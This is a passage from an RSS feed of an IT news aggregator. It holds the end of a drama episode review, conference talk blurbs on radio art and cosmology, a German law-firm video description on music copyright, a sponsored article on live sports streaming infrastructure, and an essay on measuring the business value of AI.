Hae-na appears connected to a famous designer holding an event at Min-hwan’s hotel. The circumstances surrounding her disappearance suggest that Yeo-ri and Gang-uk will soon face another case involving powerful people and hidden abuse. AsianWiki lists the Jung Hae-na storyline across Episodes 2 and 3, confirming that the mystery will continue in the next chapter.



‘Spooky in Love’ Episode 2 gives its central partnership a clearer purpose while developing the romance, the supernatural rules and the next investigation. What do you think happened to Hae-na, and will Min-hwan come between Yeo-ri and Gang-uk? Let us know in the comments.]]></content:encoded>
</item>
<item>
<title><![CDATA[Expanded Radio Art (emf2026)]]></title>
<description><![CDATA[Dr. Magz Hall is a sound artist and radio art pioneer who treats the airwaves as a canvas. In her talk, she explains how she moves radio out of the studio and into the real world—turning everyday objects like trees, books, and shoes into miniature broadcasting stations.
What the Talk Covers:
Givi...]]></description>
<link>https://tsecurity.de/de/3681660/it-security-video/expanded-radio-art-emf2026/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3681660/it-security-video/expanded-radio-art-emf2026/</guid>
<pubDate>Mon, 20 Jul 2026 18:53:15 +0200</pubDate>
<category>🎥 IT Security Video</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[Dr. Magz Hall is a sound artist and radio art pioneer who treats the airwaves as a canvas. In her talk, she explains how she moves radio out of the studio and into the real world—turning everyday objects like trees, books, and shoes into miniature broadcasting stations.
What the Talk Covers:
Giving Nature a Voice: Magz shares how she uses &quot;Tree Radio&quot; to turn a living oak tree into a radio station. By plugging sensors into the bark, she broadcasts the tree’s internal biological sounds directly to people's FM radios.
Art as Activism: She discusses her &quot;Radio Air Garden,&quot; where she builds beautiful copper sculptures that help plants grow while simultaneously broadcasting sounds that highlight local air pollution.
The &quot;Secret&quot; Airwaves: She explores the &quot;hidden world&quot; of wireless signals all around us, showing how she uses old radio tech to create modern immersive experiences.
Hands-on Hacking: Magz explains her &quot;DIY&quot; approach—encouraging everyone to reclaim technology by building their own simple transmitters to share their own stories.
The takeaway: Radio isn't just for news and music; it’s a magical, invisible tool we can use to connect with nature and our local communities in surprising new ways.

Licensed to the public under https://creativecommons.org/licenses/by-sa/4.0/
about this event: https://www.emfcamp.org/schedule/2026/126-expanded-radio-art]]></content:encoded>
</item>
<item>
<title><![CDATA[Musik in Reels & TikToks: Warum jetzt kleine Kanäle zahlen müssen! ⚠️]]></title>
<description><![CDATA[Author: WBS LEGAL - Bewertung: 23x - Views:332 Du bist unsicher, welche Musik du in deinen Videos rechtssicher nutzen darfst? ➔ https://wbs.law/musik

Bei SongPush bekommt ihr für die Nutzung von Musik in euren Reels sogar noch Geld: https://www.songpush.com/
▬▬▬▬▬▬▬▬▬▬▬▬▬ 

Die Abmahnwelle von S...]]></description>
<link>https://tsecurity.de/de/3681548/videos/musik-in-reels-tiktoks-warum-jetzt-kleine-kanaele-zahlen-muessen/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3681548/videos/musik-in-reels-tiktoks-warum-jetzt-kleine-kanaele-zahlen-muessen/</guid>
<pubDate>Mon, 20 Jul 2026 17:16:58 +0200</pubDate>
<category>🎥 Videos</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p>Author: WBS LEGAL - Bewertung: 23x - Views:332 <br/></p><p><iframe id="ytplayer" loading="lazy" type="text/html" width="100%" height="auto" src="https://www.youtube.com/embed/xCTWXzqDxu4?autoplay=1&origin=http://tsecurity.de" frameborder="0"></iframe></p><p>Du bist unsicher, welche Musik du in deinen Videos rechtssicher nutzen darfst? ➔ https://wbs.law/musik<br />
<br />
Bei SongPush bekommt ihr für die Nutzung von Musik in euren Reels sogar noch Geld: https://www.songpush.com/<br />
▬▬▬▬▬▬▬▬▬▬▬▬▬ <br />
<br />
Die Abmahnwelle von Sony Music (B1 Recordings) verunsichert tausende Creator – doch ab wann gilt euer Profil rechtlich wirklich als „gewerblich“ und welche Musik dürft ihr nun wirklich benutzen? In diesem Video beantworten wir die meistgestellten Fragen von euch und zeigen, wie ihr richtig reagiert, wenn ihr selbst eine solche Abmahnung erhalten habt.<br />
<br />
2M Gruppe GmbH: https://www.instagram.com/2mgruppe/<br />
TikTok Nutzungsbedingungen: https://www.tiktok.com/legal/page/global/music-terms-eea/de#<br />
Instagram Nutzungsbedingungen: https://www.facebook.com/help/instagram/402084904469945<br />
Metas Sound Collection: https://www.facebook.com/sound/collection<br />
§ 15 UrhG: https://www.gesetze-im-internet.de/urhg/__15.html<br />
§ 19a UrhG: https://www.gesetze-im-internet.de/urhg/__19a.html<br />
§ 53 UrhG:  https://www.gesetze-im-internet.de/urhg/__53.html<br />
<br />
▬▬▬▬▬▬▬▬▬▬▬▬▬ <br />
WBS.LEGAL sucht dich! Du bist auf der Suche nach einem attraktiven, spannenden und anspruchsvollen Job? Dann bewirb dich bei uns und komm in unser Team. Bei WBS.LEGAL arbeitest du im Herzen der Medienhauptstadt Köln und bist im Berufsleben immer am Puls der Zeit – garantiert. Hier unsere offenen Stellenangebote: https://www.wbs.legal/karriere/#jobs Was erwartet dich bei uns? Hier bekommst du weitere Infos: https://www.wbs.legal/karriere/. <br />
<br />
▬▬▬▬▬▬▬▬▬▬▬▬▬ <br />
Rechtsanwalt Prof. Christian Solmecke Prof. Christian Solmecke hat sich als Rechtsanwalt und Partner der Kölner Medienrechtskanzlei WBS.LEGAL auf die Beratung der Internet-, IT- und Medienbranche spezialisiert. So hat er in den vergangenen Jahren den Bereich Internetrecht/E-Commerce der Kanzlei stetig ausgebaut und betreut zahlreiche Medienschaffende, Web-2.0-Plattformen und App- Entwickler. Neben seiner Tätigkeit als Rechtsanwalt ist Prof. Christian Solmecke vielfacher Buchautor und als Gründer der cloudbasierten Kanzleisoftware Legalvisio.de auch erfolgreicher LegalTech-Unternehmer.<br />
<br />
 ▬▬▬▬▬▬▬▬▬▬▬▬▬ <br />
Virtueller Kanzlei-Rundgang: https://wbs.law/rundgang Startet euren Rundgang in 3D und 360° durch die Kanzlei WBS.LEGAL (inkl. YouTube- Studio) <br />
<br />
▬▬▬▬▬▬▬▬▬▬▬▬▬ <br />
Social-Media-Kanäle von WBS.LEGAL Wir freuen uns, wenn du uns auch auf unseren weiteren Social-Media-Kanälen besuchst und uns dort folgst. Jeder unserer Kanäle steht für sich und bringt dir garantiert einen Mehrwert. <br />
<br />
▬Instagram und TikTok▬ <br />
Auf unseren erfolgreichen Kanälen auf Instagram und TikTok räumen wir täglich mit Rechtsirrtümern auf und präsentieren dir rechtliche Lifehacks. Damit bist du immer auf dem Laufendem und bekommst deine tägliche Dosis Alltagsrecht. Kurz, knackig und immer auf den Punkt. Folge uns auf Instagram und TikTok und du kannst vor deinen Freunden mit neuem Wissen glänzen. <br />
<br />
➥ Instagram: https://wbs.law/recht2go <br />
➥ TikTok: https://wbs.law/recht2goTikTok<br />
<br />
 ▬Facebook▬ <br />
Auf Facebook sind wir inzwischen schon alte Hasen, denn seit Jahren informieren wir dich dort täglich über aktuelle Rechts-News. Gerne kannst du uns dort auch eine Anfrage als private Nachricht schicken. Schau vorbei! <br />
<br />
Hier der Link: ➥ https://wbs.law/facebook<br />
<br />
▬Podcasts▬<br />
 Du bist unterwegs, unter der Dusche oder hörst einfach gerne Podcasts? Dann haben wir etwas für dich: Höre die Tonspur unserer Videos täglich auf Spotify, Soundcloud und iTunes. So bleibst du immer aktuell! <br />
<br />
Hier die Links: <br />
➥ https://wbs.law/spotify <br />
➥ https://wbs.law/soundcloud <br />
➥ https://wbs.law/apple<br />
<br />
▬Unser Zweitkanal▬ <br />
Unseren weiteren YouTube-Kanal „WBS – Die Experten“ kennst du, oder? Wenn nicht, dann unsere dringende Empfehlung: Schau rein! Denn hier erfährst du immer donnerstags ausführlich alle wichtigen Infos zu unseren Rechtsbereichen – präsentiert von einigen unserer Top-Rechtsanwälte. Ob Medienrecht, Urheberrecht, Markenrecht, Social-Media- Recht, Verkehrsrecht oder Datenschutzrecht: Das alles und mehr nur auf unserem Zweitkanal, und zwar aus erster Hand von unseren WBS-Experten. <br />
<br />
Hier der Link: ➥ https://wbs.law/dieexperten <br />
<br />
▬Kontakt▬ <br />
Hotline: 0221 / 400 67 550 E-Mail: info@wbs.legal<br/></p>]]></content:encoded>
</item>
<item>
<title><![CDATA[The technology behind every live sports moment]]></title>
<description><![CDATA[When a goal goes in during a tournament quarter-final and a hundred million people watch it at the same time, what they feel is the goal. The roar, the replay, the disbelief.



They do not feel the contribution feeds traversing private media networks across continents, or the edge nodes absorbin...]]></description>
<link>https://tsecurity.de/de/3681409/it-nachrichten/the-technology-behind-every-live-sports-moment/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3681409/it-nachrichten/the-technology-behind-every-live-sports-moment/</guid>
<pubDate>Mon, 20 Jul 2026 16:48:21 +0200</pubDate>
<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<div>
		<div class="grid grid--cols-10@md grid--cols-8@lg article-column">
					  <div class="col-12 col-10@md col-6@lg col-start-3@lg">
						<div class="article-column__content">
<section class="wp-block-bigbite-multi-title"><div class="container"></div></section>



<p class="wp-block-paragraph">When a goal goes in during a tournament quarter-final and a hundred million people watch it at the same time, what they feel is the goal. The roar, the replay, the disbelief.</p>



<p class="wp-block-paragraph">They do not feel the contribution feeds traversing private media networks across continents, or the edge nodes absorbing a traffic spike that appeared without warning.</p>



<p class="wp-block-paragraph">They just feel the moment.</p>



<p class="wp-block-paragraph">And that’s exactly how it’s supposed to work.</p>



<p class="wp-block-paragraph">And as live sports viewership pushes into territory that makes previous records look modest (driven by a generation that expects to watch anything, on any device, anywhere, without waiting), the gap between getting that delivery right and getting it wrong has never been more consequential, or more public.</p>



<p class="wp-block-paragraph"><strong>As audiences moved to digital platforms, the margin for error disappeared.</strong><strong></strong></p>



<p class="wp-block-paragraph">There is a version of this conversation that is easy to have: audiences expect more, technology has to keep up. True, but incomplete.</p>



<p class="wp-block-paragraph">Audiences have always expected live sport to work. What changed is what “working” means, and how quickly they find out when it doesn’t.</p>



<p class="wp-block-paragraph">Viewers no longer sit in front of a single screen. During a FIFA World Cup match, a household might have the main feed on the living room television, while someone else streams the highlights on a second TV in the bedroom, all while phones flash with live stats and tablets run separate commentary. From the infrastructure’s perspective, that isn’t just one household watching a game; it’s a chaotic web of concurrent demands triggered by the exact same split-second on the pitch.</p>



<p class="wp-block-paragraph">Multiply that across tens of millions of viewers, and the scale of the challenge becomes clear. Social media raises the stakes further. When a platform fails during a World Cup knockout match, audiences report it in real-time on the same platforms they use to discuss the game. The complaint travels faster than the fix.</p>



<p class="wp-block-paragraph">Broadcasters no longer have the luxury of resolving an incident before people notice. The incident becomes the story, and in many cases, travels further than the match itself.</p>



<h3 class="wp-block-heading"><strong>What these viewership numbers actually mean for infrastructure</strong></h3>



<p class="wp-block-paragraph">The shift in how people watch live sport has moved well beyond trend territory.</p>



<p class="wp-block-paragraph">EMARKETER forecasts that digital live sports audiences in the US will grow to <a href="https://www.emarketer.com/content/100-million-watch-live-sports-digital">114.1 million viewers</a>, while traditional pay TV audiences decline to 82.0 million, highlighting the continued shift toward streaming.</p>



<p class="wp-block-paragraph">The concurrency numbers generated by major sporting events now sit in a territory that would have seemed implausible a decade ago.</p>



<p class="wp-block-paragraph">During the 2026 FIFA World Cup, for instance, streaming platforms shattered every historical ceiling, highlighted by Brazil’s <a href="https://streamscharts.com/news/fifa-world-cup-2026-group-stage-livestreaming">CazéTV</a> repeatedly breaking global YouTube records for concurrent viewership during the group stage. Meanwhile, in the United States, Peacock and <a href="https://www.nbcuniversal.com/article/fifa-world-cup-2026-propels-telemundo-and-peacock-record-viewership">Telemundo’s</a> digital platforms logged an unprecedented 13 million concurrent viewers for a single knockout window. </p>



<p class="wp-block-paragraph">When tens of millions of people tune into the same live stream at the same moment, it’s a challenge unlike regular web traffic.</p>



<p class="wp-block-paragraph">Historically, massive global audiences were insulated by geography. The load was spread across distinct regional networks: antenna signals, satellite downlinks, and physical cable architectures. The physical infrastructure of traditional television inherently absorbed the impact. </p>



<p class="wp-block-paragraph">Digital streaming removes that buffer. Traffic spikes all at once, often at the most critical moment. The tighter the match, the deeper the stoppage time, the sharper the spike. Network infrastructure is forced to handle its heaviest, most volatile traffic exactly when it has zero margin for error.</p>



<p class="wp-block-paragraph">Social media compounds the pressure operationally. The second a crucial goal is scored, a wave of real-time reactions floods the internet, instantly dragging a secondary “curiosity audience” into the app. These are people who weren’t even watching the match, but saw the hype and decided to tune in, meaning the network has to absorb a massive new rush of users precisely while the primary stream is already maxing out its capacity.</p>



<p class="wp-block-paragraph">To survive these surges while satisfying a modern audience, the underlying broadcast playbook has undergone a massive structural shift. It’s no longer just about handling traffic; it’s also about using modern technology like AI to manage it intelligently.</p>



<p class="wp-block-paragraph">According to an <a href="https://www.haivision.com/blog/all/2025-broadcast-transformation-report-key-takeaways/">industry survey</a>, 25% of broadcasters integrated AI into live production workflows in 2025, a massive leap from just 9% the previous year, with 64% identifying AI as the single largest impact driver over the next five years. </p>



<p class="wp-block-paragraph">The network is no longer just delivering content. AI is now generating highlights and short clips in real time, producing millions of videos that keep fans engaged long after the live moment has passed.</p>



<p class="wp-block-paragraph">Ultimately, the technical demand is driven by a shift in what viewers expect. An <a href="https://newsroom.ibm.com/2025-08-18-ibm-study-sports-fans-demand-more-dynamic-digital-content,-powered-by-ai">IBM sports study</a> revealed that 56% of fans now want AI-driven insights layered directly onto their content, while 33% point to real-time, automated translation as the feature that most impacts their experience.</p>



<p class="wp-block-paragraph">Whether it’s one screen or several, viewers don’t notice the edge infrastructure or AI powering the experience. They just expect the game to play without interruption.</p>



<h3 class="wp-block-heading"><strong>The planning mistake most organisations make</strong></h3>



<p class="wp-block-paragraph">Capacity planning is where most organisations spend their time when preparing to stream a major event. Can the system handle a million concurrent streams? Can it scale on demand if the numbers exceed projections? These are real questions. </p>



<p class="wp-block-paragraph">The lesson is not unique to sports streaming. Every digital business now experiences moments where demand, visibility, and customer expectations collide. Peak traffic events such as flash sales, ticket releases, and viral campaigns can drive website traffic <a href="https://aws.amazon.com/blogs/apn/how-to-manage-peak-traffic-on-aws-using-queue-its-virtual-waiting-room/">2 to 25 times above normal levels within seconds</a>. The infrastructure may be different, but the pressure is remarkably similar.<br></p>



<p class="wp-block-paragraph">Large-scale system failures occur when multiple components, each functioning as expected on its own, are overwhelmed by a surge in demand, rising latency, or regional blind spots at the same time.</p>



<p class="wp-block-paragraph">The problem isn’t the individual systems. It’s how they work together.</p>



<p class="wp-block-paragraph">Latency is the factor most consistently underestimated. A few seconds of delay is not a minor inconvenience in live sport. It is a fundamentally broken experience. </p>



<p class="wp-block-paragraph">A viewer whose stream is running four seconds behind will see a notification before the decisive moment appears on screen. Someone watching a service from the privacy of their room may hear a celebration from another room before seeing it on their screen.</p>



<p class="wp-block-paragraph">Geography is another planning gap. Streaming growth is increasingly being driven by emerging markets. In Southeast Asia alone, premium video streaming subscriptions grew <a href="https://avia.org/southeast-asia-premium-vod-accelerates-in-2025-as-subscriber-growth-rebounds-ctv-scales-and-local-content-breaks-through/?utm_source=chatgpt.com">19%</a> in 2025, led by Indonesia, while viewing hours continued to climb across the region. Yet much of the world’s media infrastructure was originally designed around North American and Western European demand. An architecture that looks robust on paper can deliver very different experiences depending on where the viewer is.</p>



<p class="wp-block-paragraph">The reason is simple: physical distance still matters. Every extra hop between the viewer and the content adds latency, making it harder to deliver a consistent experience at global scale.</p>



<p class="wp-block-paragraph">Then there is the timing question. The decisions that determine whether a platform holds during the most-watched minutes of the year are not made on event day. They are made months earlier through choices around architecture, redundancy, testing, and operational readiness.</p>



<p class="wp-block-paragraph">Once an event is underway, it’s too late to redesign the architecture behind it. If your system isn’t designed to handle the pressure before the crowd arrives, it’s already too late.</p>



<h3 class="wp-block-heading"><strong>The hidden chain behind every live event</strong></h3>



<p class="wp-block-paragraph">When a streaming disruption becomes public, people naturally look for a single point of failure: the app, the platform, or the provider.</p>



<p class="wp-block-paragraph">A live event depends on dozens of systems working together, and any one of them can become a problem.</p>



<p class="wp-block-paragraph">And the experience is only as good as the weakest handoff between them.</p>



<p class="wp-block-paragraph">It all starts with the live camera feed moving from the venue to the production studio. This is a real-time stream, not a file download. If you drop even a single packet at the wrong moment, everything down the line breaks, no matter how perfect the rest of your setup is.</p>



<p class="wp-block-paragraph">Remote and cloud-based production workflows have redefined how live sports are produced, enabling broadcasters to operate with greater agility and scale. As production becomes more distributed, success increasingly depends on ensuring every stage of the delivery chain works together seamlessly.</p>



<p class="wp-block-paragraph">Each transition is a potential failure point. Managing them requires visibility that extends across providers, platforms, and networks simultaneously.</p>



<p class="wp-block-paragraph">Behind every live stream, technologies like encoding, transcoding, packaging, rights management, and ad insertion are constantly at work. If any one of them fails, the stream can go down altogether.</p>



<p class="wp-block-paragraph">Global distribution introduces another layer of complexity. Viewers in Asia, Africa, and South America may all be watching the same match, but each stream travels across different networks and infrastructure. That means performance can vary by region, and issues may affect one audience without impacting another. </p>



<p class="wp-block-paragraph">AI is increasingly helping operators detect anomalies in real time, pinpoint affected regions and trigger corrective actions before disruptions become widespread. Combined with point-to-point monitoring, it provides the visibility needed to keep live events running smoothly at global scale.</p>



<p class="wp-block-paragraph">Edge delivery is where the difference between preparation and improvisation becomes most apparent. Bringing content closer to users reduces latency, absorbs local traffic surges, and improves performance in markets with variable connectivity. </p>



<p class="wp-block-paragraph">The value of technology investments such as AI and Edge becomes clearest during the moments when demand is highest.</p>



<p class="wp-block-paragraph">Monitoring is what turns visibility into action. With AI helping analyze telemetry and detect anomalies in real time, operations teams can identify issues sooner and respond before they affect viewers. By the time customers start reporting a problem, the opportunity to prevent it has already passed.</p>



<h3 class="wp-block-heading"><strong>What reliability is actually worth</strong></h3>



<p class="wp-block-paragraph">For most of early broadcast history, audience tolerance provided some buffer. Disruptions happened. People accepted them. There was nowhere else to go, and the story rarely escaped the room.</p>



<p class="wp-block-paragraph">Neither of those things is true now.</p>



<p class="wp-block-paragraph">A streaming failure during a major match becomes public within seconds. Viewers don’t distinguish between a network issue, a processing failure, or a distribution problem; they simply see a service that failed. That single experience can shape the broadcaster’s reputation, credibility and customer loyalty, influencing whether viewers come back for the next event or recommend the service to others.</p>



<p class="wp-block-paragraph">The commercial implications are significant. Global tournaments such as the FIFA World Cup illustrate just how valuable live sports rights have become. Their return depends on reliably reaching the audience that was promised.</p>



<p class="wp-block-paragraph">Advertisers invest in live sport for one reason: to reach a large, engaged audience at the exact moment it matters most. If the stream fails during that window, the opportunity is lost. Those viewers, impressions, and advertising value cannot be recovered once the moment has passed.</p>



<p class="wp-block-paragraph">The same principle increasingly applies outside media. Customers rarely know nor care whether an outage originated in the application, the cloud environment, the network or a third-party dependency. They experience a failure of the brand. In a digital-first economy, reliability has become part of the customer experience itself.</p>



<p class="wp-block-paragraph">For broadcasters and streamers, reliability is no longer just an operational KPI. It directly influences audience trust, advertising revenue, and the long-term value of premium sports rights.</p>



<h3 class="wp-block-heading"><strong>The demands ahead are bigger</strong></h3>



<p class="wp-block-paragraph">AI-assisted production is already changing how live events are created. Broadcasters are using AI to automate highlight generation, camera selection and real-time clip packaging for social media, with new AI-assisted workflows producing sports highlights up to <a href="https://www.statsperform.com/insights/opta-pulse-launch/">80% faster</a> than traditional methods. </p>



<p class="wp-block-paragraph">All of this processing happens within the live delivery chain, where every additional task must be completed without adding latency or compromising the viewing experience.</p>



<p class="wp-block-paragraph">Personalisation at scale is the next significant challenge. Not personalisation in a vague sense, but the specific technical reality of delivering multi-language commentary tracks, different languages, different statistical overlays, and different camera angles to different viewers watching the same event simultaneously. </p>



<p class="wp-block-paragraph">Instead of one stream per event, the infrastructure has to manage a matrix of concurrent variants, each with its own encoding, storage, and delivery requirements. </p>



<p class="wp-block-paragraph">Interactive experiences add bidirectional data flows: real-time polls, integrated second-screen data, live wagering. These move data from the viewer back through infrastructure that was primarily built to push content outward. Managing that at scale is a different engineering problem from managing delivery.</p>



<p class="wp-block-paragraph">Higher-resolution formats (4K now becoming a standard expectation in premium markets, 8K moving into early deployment) are bandwidth-intensive at exactly the scale where bandwidth is already under pressure. Consumer devices are ready. Infrastructure in many high-growth markets is not uniformly there yet.</p>



<p class="wp-block-paragraph">Many of these capabilities are already being deployed for major global sporting events. The organisations investing seriously in technology, innovation, and infrastructure now are building toward a standard that will be the baseline requirement within a few years. Those that are not will be closing the gap under the worst possible conditions.</p>



<h3 class="wp-block-heading"><strong>The technology you never think about</strong></h3>



<p class="wp-block-paragraph">The broadcasters that succeed don’t leave reliability to chance. They plan for it from the outset, designing their infrastructure to handle peak demand long before the audience arrives.</p>



<p class="wp-block-paragraph">This reality hits hardest during massive global events. When a stream glitches, millions of people feel it simultaneously in a matter of seconds. Keeping those streams alive doesn’t happen by accident; it takes massive scale, intense discipline, and deep experience controlling everything from the stadium camera to the viewer’s screen.</p>



<p class="wp-block-paragraph">The lesson extends well beyond live sports. Every enterprise is becoming a real-time digital business, whether it’s delivering AI-powered applications, launching digital products, processing financial transactions, or handling a sudden surge in customer demand. Different industries may face different triggers, but the expectation is the same: the experience has to work, even when demand is at its highest.</p>



<p class="wp-block-paragraph">Delivering that level of reliability is why many of the world’s largest sports brands rely on <a href="https://www.tatacommunications.com/media-entertainment">Tata Communications</a>. Supporting the broadcast, production, and management of 80% of the world’s sporting events, and reaching more than two billion viewers across 190+ countries, Tata Communications operates in the invisible layers that make every live moment possible. We call this the “Virtual Stadium of the World”, the technology and infrastructure that connects fans, broadcasters, rights-holders, and sporting moments at a truly global scale.</p>



<p class="wp-block-paragraph">By managing the critical handoffs across contribution networks, edge processing, and global media infrastructure, we engineer the resilience required to keep 120,000 live events running flawlessly every year.</p>



<p class="wp-block-paragraph">Live sport may be the most visible test of digital infrastructure, but it won’t be the last. As AI, personalisation and real-time experiences become the norm across industries, the ability to deliver reliably at scale will define far more than match day.</p>



<p class="wp-block-paragraph">To learn more, visit us <a href="https://www.tatacommunications.com/sports?utm_source=blog&amp;utm_medium=cio&amp;utm_campaign=mes%20fifa%20campaign">here</a>.</p>
</div></div></div></div>]]></content:encoded>
</item>
<item>
<title><![CDATA[The Universe in Electromagnetic Light: From Your Phone to the Big Bang (emf2026)]]></title>
<description><![CDATA[What do your phone, the night sky, and the Big Bang have in common? They all involve light, in one form or another.

In this talk, we will follow light across the Universe and back in time, towards the Big Bang. We begin with EMF in everyday life - the electromagnetic waves around us - then move ...]]></description>
<link>https://tsecurity.de/de/3680978/it-security-video/the-universe-in-electromagnetic-light-from-your-phone-to-the-big-bang-emf2026/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3680978/it-security-video/the-universe-in-electromagnetic-light-from-your-phone-to-the-big-bang-emf2026/</guid>
<pubDate>Mon, 20 Jul 2026 13:17:51 +0200</pubDate>
<category>🎥 IT Security Video</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[What do your phone, the night sky, and the Big Bang have in common? They all involve light, in one form or another.

In this talk, we will follow light across the Universe and back in time, towards the Big Bang. We begin with EMF in everyday life - the electromagnetic waves around us - then move out to the light we receive from stars and galaxies, and finally reach the Cosmic Microwave Background - the oldest light we can see, an afterglow from the early Universe. This ancient signal shows us what the cosmos was like nearly 14 billion years ago, and it also points to one of the biggest mysteries in modern science: most of the matter in the Universe is dark - invisible to us - and we still do not know what it is. Without dark matter, there would be no galaxies, no stars, and no us. To uncover these hidden pieces, physicists use CERN's Large Hadron Collider to smash particles together and recreate the extreme conditions of the early Universe.

From the EMF around us to the Big Bang, this is a story about light, matter, and our search for the dark, hidden pieces that dominate the Universe.

Licensed to the public under https://creativecommons.org/licenses/by-sa/4.0/
about this event: https://www.emfcamp.org/schedule/2026/239-the-universe-in-electromagnetic-light]]></content:encoded>
</item>
<item>
<title><![CDATA[With AI, activity is not value]]></title>
<description><![CDATA[The emergence of artificial intelligence is beginning to expose a profound weakness in the way modern enterprises measure performance.



For decades, business evaluation systems have been built around the logic of the industrial and transactional economy. Revenue growth, operating margins, earni...]]></description>
<link>https://tsecurity.de/de/3680938/it-security-nachrichten/with-ai-activity-is-not-value/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3680938/it-security-nachrichten/with-ai-activity-is-not-value/</guid>
<pubDate>Mon, 20 Jul 2026 13:08:24 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<div>
		<div class="grid grid--cols-10@md grid--cols-8@lg article-column">
					  <div class="col-12 col-10@md col-6@lg col-start-3@lg">
						<div class="article-column__content">
<section class="wp-block-bigbite-multi-title"><div class="container"></div></section>



<p class="wp-block-paragraph">The emergence of artificial intelligence is beginning to expose a profound weakness in the way modern enterprises measure performance.</p>



<p class="wp-block-paragraph"><a href="https://techeconomists.com/why-the-world-needs-new-economic-indicators/">For decades</a>, business evaluation systems have been built around the logic of the industrial and transactional economy. Revenue growth, operating margins, earnings per share, labor productivity, return on investment and market share became the dominant indicators of organizational success because they reflected the economic realities of a world in which value creation was primarily tied to physical production, labor efficiency, scale and later the automation of information processing. AI, however, is altering the very structure of enterprise value creation, and in doing so it is creating a widening separation between perceived future value and actual realized economic performance.</p>



<p class="wp-block-paragraph">Much of the current discussion <a href="https://howardarubin.substack.com/p/why-ai-roi-is-so-darn-hard-to-measure">surrounding AI performance measurement</a> reflects this tension. The overwhelming majority of AI-related metrics being celebrated today are not direct measures of realized enterprise outcomes. They are largely indicators of capability formation, market positioning, experimentation or investor signaling. Metrics such as AI spending levels, number of AI use cases, GPUs deployed, copilots implemented, models placed into production, AI hiring growth or agentic AI pilots all serve primarily as proxies for anticipated future advantage. These indicators may influence stock valuations, analyst sentiment and strategic narratives, but their relationship to measurable operational performance is often indirect, delayed or in some cases entirely speculative.</p>



<p class="wp-block-paragraph">This distinction is critically important because capital markets have historically rewarded the <em>expectation</em> of technological transformation long before actual economic results materialized. During previous technological revolutions—including electrification, enterprise resource planning, the internet, cloud computing and mobile platforms—valuation expansion frequently preceded measurable productivity gains by many years. The market priced future possibility before operational economics caught up. In many instances, investors rewarded firms simply for appearing strategically aligned with the dominant technological shift of the era. AI appears to be following a similar trajectory.</p>



<p class="wp-block-paragraph">The phenomenon resembles the famous <a href="https://www.brookings.edu/articles/the-solow-productivity-paradox-what-do-computers-do-to-productivity/">productivity paradox</a> articulated by economist Robert Solow, who observed that “you can see the computer age everywhere but in the productivity statistics.” AI today is visible everywhere: in investor presentations, earnings calls, technology conferences, product announcements and boardroom strategies. Yet in many industries, its measurable contribution to enterprise productivity, profitability or economic resilience remains difficult to isolate with precision. This does not necessarily mean AI lacks value. Rather, it reflects the reality that traditional accounting and performance systems were never designed to measure the forms of value AI increasingly produces.</p>



<p class="wp-block-paragraph">Artificial intelligence creates benefits that are often diffuse, cumulative and difficult to attribute directly to financial outcomes. AI may improve forecasting accuracy, reduce fraud, accelerate decision cycles, augment employee effectiveness, improve customer interactions, optimize logistics or enhance cybersecurity resilience. These benefits frequently manifest as second-order effects distributed across the enterprise rather than as immediately visible financial events. The causal chain between AI investment and realized business performance can therefore become extraordinarily difficult to quantify. A company may become operationally more intelligent without immediately becoming measurably more profitable.</p>



<p class="wp-block-paragraph">At the same time, AI introduces a profound danger: organizations may increasingly optimize for technological narrative rather than durable enterprise economics. Many firms today are pursuing AI primarily because markets reward the appearance of AI leadership. Investor enthusiasm, analyst pressure and competitive fear create incentives to demonstrate visible AI activity <a href="https://howardarubin.substack.com/p/talking-about-ai-value-is-like-talking">regardless of whether measurable economic value has actually been achieved</a>. In this environment, AI metrics can easily become instruments of valuation signaling rather than instruments of operational truth.</p>



<p class="wp-block-paragraph">This distinction between signaling and substance may become one of the defining economic challenges of the AI era. An organization may announce aggressive AI deployment programs, reduce headcount and report short-term margin improvements while simultaneously increasing hidden forms of technological fragility. Infrastructure costs may rise dramatically as GPU consumption, cloud usage, data engineering requirements and cybersecurity complexity expand. Technical debt may accelerate as AI-generated code proliferates without sufficient architectural discipline. Institutional knowledge may erode as organizations become excessively dependent on opaque models and automated systems. Long-term innovation capacity may weaken if enterprises divert disproportionate resources toward maintaining internally generated AI systems rather than building new strategic capabilities.</p>



<h2 class="wp-block-heading">What measuring AI value might actually look like</h2>



<p class="wp-block-paragraph">The distinction between AI activity and AI value becomes clearer when viewed through the kinds of measures organizations choose to track. Many enterprises today emphasize indicators such as the number of AI models deployed, copilots implemented, agents created, prompts executed, tokens consumed or employees using AI tools. These metrics demonstrate adoption and technological activity, but they reveal relatively little about whether AI is producing meaningful business outcomes.</p>



<p class="wp-block-paragraph">Measures of enterprise value look quite different. A manufacturer might evaluate whether AI improves demand forecasting accuracy enough to reduce inventory carrying costs or stockouts. A financial institution might measure whether AI meaningfully lowers fraud losses, accelerates loan processing or improves regulatory compliance. A healthcare provider could assess reductions in administrative burden, faster clinical decision support or improvements in patient throughput. In each case, the objective is not simply to measure AI deployment, but to determine whether AI creates measurable improvements in operational performance, economic outcomes or organizational resilience.</p>



<p class="wp-block-paragraph">Ultimately, organizations may need to ask a different question: not “How much AI are we using?” but “How much business value does each unit of AI investment create?” That shift—from measuring technological activity to measuring economic outcomes—may become one of the defining management disciplines of the AI era.</p>



<p class="wp-block-paragraph">Under traditional accounting frameworks, many of these deteriorations remain largely invisible. Quarterly earnings may improve even as underlying enterprise resilience declines. Stock prices may rise even as operational complexity becomes increasingly unsustainable. In this sense, the AI era threatens to widen the gap between financial appearance and organizational reality.</p>



